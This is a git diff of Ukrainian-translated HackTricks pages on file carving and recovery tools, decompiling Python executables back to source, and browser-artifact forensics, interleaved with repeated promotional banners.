* [http://ntfs.com/ntfs-permissions.htm](http://ntfs.com/ntfs-permissions.htm)
* [https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html](https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html)
* [https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service](https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service)
* **iHackLabs Certified Digital Forensics Windows**
* **iHackLabs Сертифікований Цифровий Судовий Експерт Windows**
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# Інструменти для відновлення файлів та даних
# File/Data Carving & Recovery Tools
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Інші способи підтримки HackTricks:
* Якщо ви хочете побачити вашу **компанію рекламовану на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **та** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Try Hard Security Group**
@ -22,17 +23,17 @@
***
## Інструменти для відновлення та карвінгу
## Carving & Recovery tools
Більше інструментів за посиланням [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
Більше інструментів на [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
### Autopsy
Найпоширеніший інструмент, який використовується в судовій експертизі для вилучення файлів з образів - це [**Autopsy**](https://www.autopsy.com/download/). Завантажте його, встановіть та використовуйте для пошуку "прихованих" файлів у файлі. Зверніть увагу, що Autopsy призначений для підтримки образів диска та інших видів образів, але не простих файлів.
Найбільш поширений інструмент, що використовується в судовій експертизі для витягування файлів з образів, це [**Autopsy**](https://www.autopsy.com/download/). Завантажте його, встановіть і дайте йому обробити файл, щоб знайти "приховані" файли. Зверніть увагу, що Autopsy створено для підтримки образів дисків та інших видів образів, але не простих файлів.
### Binwalk <a href="#binwalk" id="binwalk"></a>
**Binwalk** - це інструмент для аналізу бінарних файлів для пошуку вбудованого вмісту. Він може бути встановлений через `apt`, а його вихідний код знаходиться на [GitHub](https://github.com/ReFirmLabs/binwalk).
**Binwalk** — це інструмент для аналізу бінарних файлів з метою виявлення вбудованого контенту. Його можна встановити через `apt`, а його вихідний код доступний на [GitHub](https://github.com/ReFirmLabs/binwalk).
**Корисні команди**:
```bash
@ -43,7 +44,7 @@ binwalk --dd ".*" file #Displays and extracts all files from the given file
```
### Foremost
Ще один поширений інструмент для пошуку прихованих файлів - **foremost**. Ви можете знайти файл конфігурації foremost у `/etc/foremost.conf`. Якщо ви хочете лише знайти певні файли, розкоментуйте їх. Якщо ви нічого не розкоментуєте, foremost буде шукати файли типів, налаштованих за замовчуванням.
Ще один поширений інструмент для знаходження прихованих файлів - це **foremost**. Ви можете знайти файл конфігурації foremost у `/etc/foremost.conf`. Якщо ви хочете шукати лише деякі конкретні файли, зніміть коментарі з них. Якщо ви нічого не знімете, foremost буде шукати файли за замовчуванням.
```bash
sudo apt-get install foremost
foremost -v -i file.img -o output
@ -51,7 +52,7 @@ foremost -v -i file.img -o output
```
### **Scalpel**
**Scalpel** - це ще один інструмент, який можна використовувати для пошуку та вилучення **файлів, вбудованих у файл**. У цьому випадку вам потрібно розкоментувати з конфігураційного файлу (_/etc/scalpel/scalpel.conf_) типи файлів, які ви хочете вилучити.
**Scalpel** - це ще один інструмент, який можна використовувати для знаходження та вилучення **файлів, вбудованих у файл**. У цьому випадку вам потрібно буде зняти коментарі з файлів конфігурації (_/etc/scalpel/scalpel.conf_) для типів файлів, які ви хочете, щоб він вилучив.
```bash
sudo apt-get install scalpel
scalpel file.img -o output
@ -60,44 +61,67 @@ scalpel file.img -o output
Цей інструмент входить до складу Kali, але ви можете знайти його тут: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor)
Цей інструмент може сканувати зображення та **витягувати pcaps** всередині нього, **мережеву інформацію (URL-адреси, домени, IP-адреси, MAC-адреси, пошту)** та більше **файлів**. Вам потрібно лише виконати:
Цей інструмент може сканувати зображення і **витягувати pcaps** всередині нього, **мережеву інформацію (URL, домени, IP, MAC, електронні листи)** та інші **файли**. Вам потрібно лише зробити:
```
bulk_extractor memory.img -o out_folder
```
Перегляньте **всю інформацію**, яку зібрав інструмент (паролі?), **проаналізуйте** **пакети** (читайте [**аналіз Pcaps**](../pcap-inspection/)), шукайте **дивні домени** (домени, пов'язані з **шкідливим ПЗ** або **неіснуючі**).
### PhotoRec
Ви можете знайти його за посиланням [https://www.cgsecurity.org/wiki/TestDisk\_Download](https://www.cgsecurity.org/wiki/TestDisk\_Download)
Ви можете знайти його на [https://www.cgsecurity.org/wiki/TestDisk\_Download](https://www.cgsecurity.org/wiki/TestDisk\_Download)
Він поставляється з версіями GUI та CLI. Ви можете вибрати **типи файлів**, які ви хочете, щоб PhotoRec шукав.
Він постачається з версіями GUI та CLI. Ви можете вибрати **типи файлів**, які хочете, щоб PhotoRec шукав.
![](<../../../.gitbook/assets/image (524).png>)
### binvis
Перевірте [код](https://code.google.com/archive/p/binvis/) та [веб-сторінку інструменту](https://binvis.io/#/).
Перевірте [код](https://code.google.com/archive/p/binvis/) та [веб-сторінку інструмента](https://binvis.io/#/).
#### Особливості BinVis
* Візуальний та активний **переглядач структури**
* Кілька графіків для різних точок фокусу
* Фокусування на частинах вибірки
* **Побачення рядків та ресурсів**, у виконуваних файлах PE або ELF, наприклад
* Кілька графіків для різних фокусних точок
* Фокусування на частинах зразка
* **Перегляд рядків та ресурсів** у PE або ELF виконуваних файлах, наприклад
* Отримання **шаблонів** для криптоаналізу файлів
* **Виявлення** алгоритмів упаковки або кодування
* **Визначення** стеганографії за шаблонами
* **Візуальне** порівняння бінарних файлів
* **Виявлення** алгоритмів пакування або кодування
* **Ідентифікація** стеганографії за шаблонами
* **Візуальне** бінарне порівняння
BinVis - це чудова **стартова точка для ознайомлення з невідомою ціллю** в сценарії чорної скриньки.
BinVis є чудовою **відправною точкою для ознайомлення з невідомою ціллю** в сценарії чорного ящика.
## Специфічні Інструменти Для Відновлення Даних
## Специфічні інструменти для карвінгу даних
### FindAES
Шукає ключі AES, шукаючи їх розклади ключів. Здатний знаходити ключі на 128, 192 та 256 біт, такі, як ті, що використовуються TrueCrypt та BitLocker.
Шукає ключі AES, досліджуючи їх графіки ключів. Може знаходити ключі 128, 192 та 256 біт, такі як ті, що використовуються TrueCrypt та BitLocker.
Завантажте [тут](https://sourceforge.net/projects/findaes/).
## Доповнюючі інструменти
## Додаткові інструменти
Ви можете використовувати [**viu** ](https://github.com/atanunq/viu), щоб переглядати зображення з терміналу.\
Ви можете використовувати інструмент командного рядка linux **pdftotext**, щоб перетворити pdf у текст і прочитати його.
Ви можете використовувати [**viu**](https://github.com/atanunq/viu), щоб переглядати зображення з терміналу.\
Ви можете використовувати командний рядок linux **pdftotext**, щоб перетворити pdf на текст і прочитати його.
**Спробуйте Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Вчіться та практикуйте Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вчіться та практикуйте Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Підтримайте HackTricks</summary>
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
</details>
{% endhint %}

View file

@ -1,28 +1,29 @@
# Розкодування скомпільованих бінарних файлів Python (exe, elf) - Отримання з .pyc
# Декомпіляція скомпільованих python бінарників (exe, elf) - Отримання з .pyc
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Підтримка HackTricks</summary>
Інші способи підтримки HackTricks:
* Якщо ви хочете побачити свою **компанію в рекламі на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
</details>
{% endhint %}
<figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
**Підказка з баг-баунті**: **зареєструйтеся** на **Intigriti**, преміальній **платформі для баг-баунті, створеній хакерами для хакерів**! Приєднуйтесь до нас на [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) сьогодні, і почніть заробляти винагороди до **$100,000**!
**Порада з баг-баунті**: **зареєструйтесь** на **Intigriti**, преміум **платформі для баг-баунті, створеній хакерами для хакерів**! Приєднуйтесь до нас на [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) сьогодні та почніть заробляти винагороди до **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
## Від Компільованого Бінарного Файлу до .pyc
## Від скомпільованого бінарника до .pyc
З **ELF** скомпільованого бінарного файлу ви можете **отримати .pyc** за допомогою:
З **ELF** скомпільованого бінарника ви можете **отримати .pyc** за допомогою:
```bash
pyi-archive_viewer <binary>
# The list of python modules will be given here:
@ -41,38 +42,38 @@ pyi-archive_viewer <binary>
? X binary_name
to filename? /tmp/binary.pyc
```
У **скомпільованому бінарному файлі python exe** ви можете **отримати .pyc**, запустивши:
В **python exe binary**, скомпільованому, ви можете **отримати .pyc**, запустивши:
```bash
python pyinstxtractor.py executable.exe
```
## З .pyc до коду Python
## Від .pyc до коду python
Для даних у форматі **.pyc** ("скомпільований" Python) спробуйте **витягти** **оригінальний** **код Python**:
Для даних **.pyc** ("скомпільований" python) вам слід почати намагатися **витягти** **оригінальний** **код** **python**:
```bash
uncompyle6 binary.pyc > decompiled.py
```
**Переконайтеся**, що у бінарного файлу є **розширення** "**.pyc**" (якщо ні, **uncompyle6** не буде працювати)
**Переконайтеся**, що бінарний файл має **розширення** "**.pyc**" (якщо ні, uncompyle6 не буде працювати)
Під час виконання **uncompyle6** ви можете зустріти **наступні помилки**:
Під час виконання **uncompyle6** ви можете зіткнутися з **наступними помилками**:
### Помилка: Невідомий магічний номер 227
```bash
/kali/.local/bin/uncompyle6 /tmp/binary.pyc
Unknown magic number 227 in /tmp/binary.pyc
```
Для виправлення цього вам потрібно **додати правильний магічний номер** на початку створеного файлу.
Щоб виправити це, вам потрібно **додати правильний магічний номер** на початку згенерованого файлу.
**Магічні номери відрізняються залежно від версії Python**, щоб отримати магічний номер **Python 3.8**, вам потрібно **відкрити термінал Python 3.8** та виконати:
**Магічні номери відрізняються в залежності від версії python**, щоб отримати магічний номер **python 3.8**, вам потрібно **відкрити термінал python 3.8** і виконати:
```
>> import imp
>> imp.get_magic().hex()
'550d0d0a'
```
**Магічне число** у цьому випадку для python3.8 - **`0x550d0d0a`**, тому, щоб виправити цю помилку, вам потрібно **додати** на **початок** файлу **.pyc** наступні байти: `0x0d550a0d000000000000000000000000`
Число **magic number** у цьому випадку для python3.8 є **`0x550d0d0a`**, тоді, щоб виправити цю помилку, вам потрібно **додати** на **початку** **.pyc файлу** наступні байти: `0x0d550a0d000000000000000000000000`
**Після** того, як ви **додасте** цей магічний заголовок, **помилка повинна бути виправлена.**
**Якщо** ви **додали** цей магічний заголовок, **помилка повинна бути виправлена.**
Ось як буде виглядати правильно доданий **магічний заголовок .pyc python3.8**:
Ось як правильно доданий **.pyc python3.8 magic header** виглядатиме:
```bash
hexdump 'binary.pyc' | head
0000000 0d55 0a0d 0000 0000 0000 0000 0000 0000
@ -80,21 +81,21 @@ hexdump 'binary.pyc' | head
0000020 0700 0000 4000 0000 7300 0132 0000 0064
0000030 0164 006c 005a 0064 0164 016c 015a 0064
```
### Помилка: Розкодування загальних помилок
### Помилка: Декомпіляція загальних помилок
**Інші помилки**, такі як: `class 'AssertionError'>; co_code should be one of the types (<class 'str'>, <class 'bytes'>, <class 'list'>, <class 'tuple'>); is type <class 'NoneType'>` можуть з'являтися.
**Інші помилки** такі як: `class 'AssertionError'>; co_code should be one of the types (<class 'str'>, <class 'bytes'>, <class 'list'>, <class 'tuple'>); is type <class 'NoneType'>` можуть з'явитися.
Це, ймовірно, означає, що ви **не додали правильно** магічне число або що ви **не використовували** **правильне магічне число**, тому переконайтеся, що ви використовуєте правильне (або спробуйте нове).
Це, ймовірно, означає, що ви **неправильно додали** магічний номер або що ви **не використали** **правильний магічний номер**, тому **переконайтеся, що ви використовуєте правильний** (або спробуйте новий).
Перевірте попередню документацію про помилки.
Перевірте документацію попередніх помилок.
## Автоматичний інструмент
[**Інструмент python-exe-unpacker**](https://github.com/countercept/python-exe-unpacker) служить комбінацією кількох інструментів, доступних у спільноті, призначених для допомоги дослідникам у розпакуванні та розкодуванні виконуваних файлів, написаних мовою Python, зокрема тих, що створені за допомогою py2exe та pyinstaller. Він містить правила YARA для визначення, чи є виконуваний файл на основі Python, та підтверджує інструмент створення.
[**python-exe-unpacker tool**](https://github.com/countercept/python-exe-unpacker) служить комбінацією кількох доступних інструментів спільноти, призначених для допомоги дослідникам у розпакуванні та декомпіляції виконуваних файлів, написаних на Python, зокрема тих, що створені за допомогою py2exe та pyinstaller. Він включає правила YARA для ідентифікації, чи є виконуваний файл на основі Python, і підтверджує інструмент створення.
### ImportError: Ім'я файлу: 'unpacked/malware\_3.exe/**pycache**/archive.cpython-35.pyc' не існує
Часто зустрічається проблема, пов'язана з неповним файлом байткоду Python, яка виникає в результаті **розпакування за допомогою unpy2exe або pyinstxtractor**, яка потім **не визнається uncompyle6 через відсутність номера версії байткоду Python**. Для вирішення цієї проблеми була додана опція prepend, яка додає необхідний номер версії байткоду Python, що сприяє процесу розкодування.
Звичайна проблема, з якою стикаються, пов'язана з неповним файлом байт-коду Python, що виникає внаслідок **процесу розпакування з unpy2exe або pyinstxtractor**, який потім **не розпізнається uncompyle6 через відсутній номер версії байт-коду Python**. Щоб вирішити цю проблему, було додано опцію prepend, яка додає необхідний номер версії байт-коду Python, полегшуючи процес декомпіляції.
Приклад проблеми:
```python
@ -114,9 +115,9 @@ test@test:python python_exe_unpack.py -p unpacked/malware_3.exe/archive
# Successfully decompiled file
[+] Successfully decompiled.
```
## Аналізування асемблеру Python
## Аналіз python assembly
Якщо вам не вдалося видобути "оригінальний" код Python за попередніми кроками, то ви можете спробувати **видобути** **асемблер** Python (але він **не дуже описовий**, тому спробуйте **ще раз** видобути оригінальний код). В [цьому місці](https://bits.theorem.co/protecting-a-python-codebase/) я знайшов дуже простий код для **дизасемблювання** бінарного файлу _.pyc_ (бажаю успіху у розумінні потоку коду). Якщо _.pyc_ належить до Python2, використовуйте python2:
If you weren't able to extract the python "original" code following the previous steps, then you can try to **extract** the **assembly** (but i**t isn't very descriptive**, so **try** to extract **again** the original code).In [here](https://bits.theorem.co/protecting-a-python-codebase/) I found a very simple code to **disassemble** the _.pyc_ binary (good luck understanding the code flow). If the _.pyc_ is from python2, use python2:
```bash
>>> import dis
>>> import marshal
@ -159,15 +160,15 @@ True
14 LOAD_CONST 0 (None)
17 RETURN_VALUE
```
## Python до виконуваного файлу
## Python to Executable
Для початку ми покажемо вам, як навантаження можуть бути скомпільовані в py2exe та PyInstaller.
Щоб почати, ми покажемо вам, як вантажі можуть бути скомпільовані в py2exe та PyInstaller.
### Для створення навантаження за допомогою py2exe:
### Щоб створити вантаж за допомогою py2exe:
1. Встановіть пакет py2exe з [http://www.py2exe.org/](http://www.py2exe.org)
2. Для навантаження (у цьому випадку ми назвемо його hello.py), використовуйте скрипт, схожий на той, що в Підказці 1. Опція "bundle\_files" зі значенням 1 збере все, включаючи інтерпретатор Python, в один exe-файл.
3. Як тільки скрипт буде готовий, ми введемо команду "python setup.py py2exe". Це створить виконуваний файл, як показано на Підказці 2.
2. Для вантажу (в цьому випадку ми назвемо його hello.py) використовуйте скрипт, подібний до того, що на Рисунку 1. Опція “bundle\_files” зі значенням 1 об'єднає все, включаючи інтерпретатор Python, в один exe.
3. Коли скрипт буде готовий, ми виконаємо команду “python setup.py py2exe”. Це створить виконуваний файл, так само як на Рисунку 2.
```python
from distutils.core import setup
import py2exe, sys, os
@ -195,10 +196,10 @@ running py2exe
copying C:\Python27\lib\site-packages\py2exe\run.exe -> C:\Users\test\Desktop\test\dist\hello.exe
Adding python27.dll as resource to C:\Users\test\Desktop\test\dist\hello.exe
```
### Для створення вантажу за допомогою PyInstaller:
### Щоб створити payload за допомогою PyInstaller:
1. Встановіть PyInstaller за допомогою pip (pip install pyinstaller).
2. Після цього видаємо команду "pyinstaller --onefile hello.py" (нагадуємо, що 'hello.py' - це наш вантаж). Це збере все в один виконуваний файл.
2. Після цього ми виконаємо команду “pyinstaller onefile hello.py” (нагадування, що hello.py - це наш payload). Це об'єднає все в один виконуваний файл.
```
C:\Users\test\Desktop\test>pyinstaller --onefile hello.py
108 INFO: PyInstaller: 3.3.1
@ -211,26 +212,27 @@ C:\Users\test\Desktop\test>pyinstaller --onefile hello.py
5982 INFO: Appending archive to EXE C:\Users\test\Desktop\test\dist\hello.exe
6325 INFO: Building EXE from out00-EXE.toc completed successfully.
```
## Посилання
## References
* [https://blog.f-secure.com/how-to-decompile-any-python-binary/](https://blog.f-secure.com/how-to-decompile-any-python-binary/)
<figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
**Підказка щодо винагороди за виявлення помилок**: **зареєструйтесь** на **Intigriti**, преміальній **платформі для винагород за виявлення помилок, створеній хакерами для хакерів**! Приєднуйтесь до нас на [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) сьогодні, і почніть заробляти винагороди до **$100,000**!
**Bug bounty tip**: **зареєструйтесь** на **Intigriti**, преміум **платформі для баг-баунті, створеній хакерами для хакерів**! Приєднуйтесь до нас на [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) сьогодні та почніть заробляти винагороди до **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Інші способи підтримки HackTricks:
* Якщо ви хочете побачити свою **компанію рекламовану в HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,78 +1,81 @@
# Артефакти браузера
# Browser Artifacts
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Інші способи підтримки HackTricks:
* Якщо ви хочете побачити вашу **компанію в рекламі на HackTricks** або **завантажити HackTricks у PDF** Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Поділіться своїми хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Використовуйте [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) для легкої побудови та **автоматизації робочих процесів** за допомогою найбільш **продвинутих** інструментів спільноти у світі.\
Отримайте доступ сьогодні:
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Артефакти браузера <a href="#id-3def" id="id-3def"></a>
## Browsers Artifacts <a href="#id-3def" id="id-3def"></a>
Артефакти браузера включають різні типи даних, збережених веб-браузерами, такі як історія навігації, закладки та кеш-дані. Ці артефакти зберігаються в конкретних папках в операційній системі, відрізняючись за місцем та назвою в різних браузерах, але загалом зберігають схожі типи даних.
Артефакти браузера включають різні типи даних, збережених веб-браузерами, такі як історія навігації, закладки та кешовані дані. Ці артефакти зберігаються в специфічних папках в операційній системі, які відрізняються за місцем розташування та назвою в різних браузерах, але зазвичай зберігають подібні типи даних.
Ось краткий огляд найпоширеніших артефактів браузера:
Ось короткий огляд найпоширеніших артефактів браузера:
* **Історія навігації**: Відстежує відвідування користувачем веб-сайтів, корисно для виявлення відвідування шкідливих сайтів.
* **Дані автозаповнення**: Пропозиції на основі частих пошуків, надаючи уявлення, коли поєднано з історією навігації.
* **Історія навігації**: Відстежує відвідування користувачем веб-сайтів, корисно для ідентифікації відвідувань шкідливих сайтів.
* **Дані автозаповнення**: Пропозиції на основі частих пошуків, що надають інформацію в поєднанні з історією навігації.
* **Закладки**: Сайти, збережені користувачем для швидкого доступу.
* **Розширення та додатки**: Розширення браузера або додатки, встановлені користувачем.
* **Кеш**: Зберігає веб-контент (наприклад, зображення, файли JavaScript) для покращення часу завантаження веб-сайтів, цінне для судового аналізу.
